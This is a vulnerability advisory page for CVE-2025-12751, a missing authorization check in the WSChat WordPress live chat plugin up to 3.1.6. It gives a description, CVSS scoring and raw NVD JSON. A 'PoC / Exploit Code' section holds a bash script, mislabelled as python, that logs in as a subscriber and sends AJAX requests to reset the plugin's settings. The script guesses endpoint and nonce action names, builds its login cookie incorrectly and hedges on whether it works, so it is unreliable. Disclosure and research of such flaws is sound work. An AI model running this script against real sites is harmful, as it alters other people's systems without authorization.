Security Vulnerability Report
中文
CVE-2025-12751 CVSS 4.3 MEDIUM

CVE-2025-12751

Published: 2025-11-19 06:15:46
Last Modified: 2026-04-15 00:35:42

Description

The WSChat – WordPress Live Chat plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'reset_settings' AJAX endpoint in all versions up to, and including, 3.1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WSChat – WordPress Live Chat插件 <= 3.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-12751 PoC - WSChat Plugin reset_settings AJAX Endpoint Exploitation # Requires a valid WordPress account with Subscriber-level access or higher WP_URL="http://target-wordpress-site.com" USERNAME="subscriber_user" PASSWORD="user_password" # Step 1: Authenticate and get cookie echo "[*] Authenticating as $USERNAME..." COOKIE=$(curl -s -c - -d "log=$USERNAME&pwd=$PASSWORD" "$WP_URL/wp-login.php" | grep wordpress_logged_in | awk '{print $NF}') if [ -z "$COOKIE" ]; then echo "[!] Authentication failed" exit 1 fi # Step 2: Exploit the vulnerability by sending reset_settings AJAX request echo "[*] Sending malicious AJAX request to reset plugin settings..." RESPONSE=$(curl -s -b "wordpress_logged_in_$COOKIE" \ -d "action=wschat_reset_settings&security=$(curl -s $WP_URL/wp-admin/admin-ajax.php?action=wschat_nonce 2>/dev/null | grep -oP 'nonce":"\K[^"]+')" \ "$WP_URL/wp-admin/admin-ajax.php") # Alternative: Direct exploitation without nonce (if nonce check is missing) RESPONSE=$(curl -s -b "wordpress_logged_in_$COOKIE" \ -d "action=reset_settings" \ "$WP_URL/wp-admin/admin-ajax.php") echo "[*] Response: $RESPONSE" echo "[+] Plugin settings should be reset" # Step 3: Verify exploitation success echo "[*] Verifying settings reset..." curl -s "$WP_URL/wp-admin/admin.php?page=wschat-settings" -b "wordpress_logged_in_$COOKIE" | grep -i "reset" && echo "[+] Exploitation successful"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12751", "sourceIdentifier": "[email protected]", "published": "2025-11-19T06:15:46.443", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WSChat – WordPress Live Chat plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'reset_settings' AJAX endpoint in all versions up to, and including, 3.1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3395773%40wschat-live-chat&new=3395773%40wschat-live-chat&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0be6658d-aec8-404c-a994-bde10a3cdbac?source=cve", "source": "[email protected]"}]}}